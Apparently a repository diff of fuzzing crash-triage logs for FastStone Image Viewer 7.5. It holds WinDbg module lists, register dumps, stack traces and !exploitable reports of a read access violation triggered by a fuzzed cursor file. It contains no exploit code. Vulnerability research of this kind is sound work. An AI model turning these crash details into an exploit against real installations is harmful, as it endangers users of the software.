+BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05151902 +STACK_DEPTH:12 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x50e28b +STACK_FRAME:image00000000_00400000+0x50efea +STACK_FRAME:image00000000_00400000+0x4d05d5 +STACK_FRAME:image00000000_00400000+0x4d0991 +STACK_FRAME:image00000000_00400000+0x2c0bf +STACK_FRAME:image00000000_00400000+0x4c22 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x05151902) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/2623/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/2623/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..9446dad --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/2623/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x6E4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x6E4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +ModLoad: 00000000`73730000 00000000`737e9000 C:\Windows\SysWOW64\textinputframework.dll +ModLoad: 00000000`73410000 00000000`734ab000 C:\Windows\SysWOW64\CoreMessaging.dll +ModLoad: 00000000`734b0000 00000000`7372e000 C:\Windows\SysWOW64\CoreUIComponents.dll +ModLoad: 00000000`75430000 00000000`75493000 C:\Windows\SysWOW64\WS2_32.dll +ModLoad: 00000000`733e0000 00000000`73409000 C:\Windows\SysWOW64\ntmarta.dll +ModLoad: 00000000`73300000 00000000`733de000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`13e80000 00000000`13f5e000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`73190000 00000000`732f6000 C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.264_none_4298d4188a939fa9\gdiplus.dll +(6e4.ba8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=14f50002 ebx=00000e1e ecx=07fd8180 edx=000005a6 esi=125ed720 edi=0d9fafd4 +eip=005bdfc9 esp=14f4f868 ebp=14f4fd10 iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f50002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=0020: top=0 cc=0000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0= 0.000000000000000000000e+0000 st1= 0.000000000000000000000e+0000 +st2= 0.000000000000000000000e+0000 st3= 0.000000000000000000000e+0000 +st4= 8.545062494776266000000e+0017 st5= 8.545064212763184640000e+0017 +st6= 2.539999999999999999970e+0000 st7= 5.347487600000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f50002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0 0 0 0 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f50002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +14f4fd10 0060d6fc 00000000 14f4fd78 14f4fd48 image00000000_00400000+0x1bdfc9 +14f4fd88 005ff93f 14f4fde8 005ffbc2 14f4fde0 image00000000_00400000+0x20d6fc +14f4fde0 0090e28b 14f4fdf4 0090e3b5 14f4fe38 image00000000_00400000+0x1ff93f +14f4fe38 0090efea 14f4fea4 14f4fea8 14f4feac image00000000_00400000+0x50e28b +14f4fec0 008d05d5 14f4fed4 008d06ab 14f4ff00 image00000000_00400000+0x50efea +14f4ff00 008d0991 14f4ff14 008d0a43 14f4ff2c image00000000_00400000+0x4d05d5 +14f4ff2c 0042c0bf 14f4ff40 0042c0c9 14f4ff5c image00000000_00400000+0x4d0991 +14f4ff5c 00404c22 14f4ffcc 0040475c 14f4ff70 image00000000_00400000+0x2c0bf +14f4ff70 7572f989 080dbec0 7572f970 14f4ffdc image00000000_00400000+0x4c22 +14f4ff80 770b7084 080dbec0 ac870940 00000000 KERNEL32!BaseThreadInitThunk+0x19 +14f4ffdc 770b7054 ffffffff 770d62ab 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +14f4ffec 00000000 00404bf8 080dbec0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x14f50002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05151902 +STACK_DEPTH:12 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x50e28b +STACK_FRAME:image00000000_00400000+0x50efea +STACK_FRAME:image00000000_00400000+0x4d05d5 +STACK_FRAME:image00000000_00400000+0x4d0991 +STACK_FRAME:image00000000_00400000+0x2c0bf +STACK_FRAME:image00000000_00400000+0x4c22 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x05151902) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/2623/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/2623/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..0482af4 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/2623/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/26614/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/26614/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..c0f6084 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/26614/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x0000000014f70002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/26614/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/26614/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..1f6fe99 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/26614/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/26614/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/26614/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..f567119 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/26614/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x910: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x910: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74b80000 00000000`74b99000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`749e0000 00000000`74b7a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +ModLoad: 00000000`73730000 00000000`737e9000 C:\Windows\SysWOW64\textinputframework.dll +ModLoad: 00000000`734b0000 00000000`7372e000 C:\Windows\SysWOW64\CoreUIComponents.dll +ModLoad: 00000000`73410000 00000000`734ab000 C:\Windows\SysWOW64\CoreMessaging.dll +ModLoad: 00000000`75430000 00000000`75493000 C:\Windows\SysWOW64\WS2_32.dll +ModLoad: 00000000`733e0000 00000000`73409000 C:\Windows\SysWOW64\ntmarta.dll +ModLoad: 00000000`73300000 00000000`733de000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`73190000 00000000`732f6000 C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.264_none_4298d4188a939fa9\gdiplus.dll +(910.1af0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=14f80002 ebx=0000021e ecx=07f08180 edx=000005a6 esi=1274ac40 edi=0da8afd4 +eip=005bdfc9 esp=14f7f868 ebp=14f7fd10 iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f80002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=0020: top=0 cc=0000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0= 0.000000000000000000000e+0000 st1= 0.000000000000000000000e+0000 +st2= 0.000000000000000000000e+0000 st3= 0.000000000000000000000e+0000 +st4= 8.522544496639589040000e+0017 st5= 8.522546214626507680000e+0017 +st6= 8.522547932613426320000e+0017 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f80002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0 0 0 0 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f80002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +14f7fd10 0060d6fc 00000000 14f7fd78 14f7fd48 image00000000_00400000+0x1bdfc9 +14f7fd88 005ff93f 14f7fde8 005ffbc2 14f7fde0 image00000000_00400000+0x20d6fc +14f7fde0 0090e28b 14f7fdf4 0090e3b5 14f7fe38 image00000000_00400000+0x1ff93f +14f7fe38 0090efea 14f7fea4 14f7fea8 14f7feac image00000000_00400000+0x50e28b +14f7fec0 008d05d5 14f7fed4 008d06ab 14f7ff00 image00000000_00400000+0x50efea +14f7ff00 008d0991 14f7ff14 008d0a43 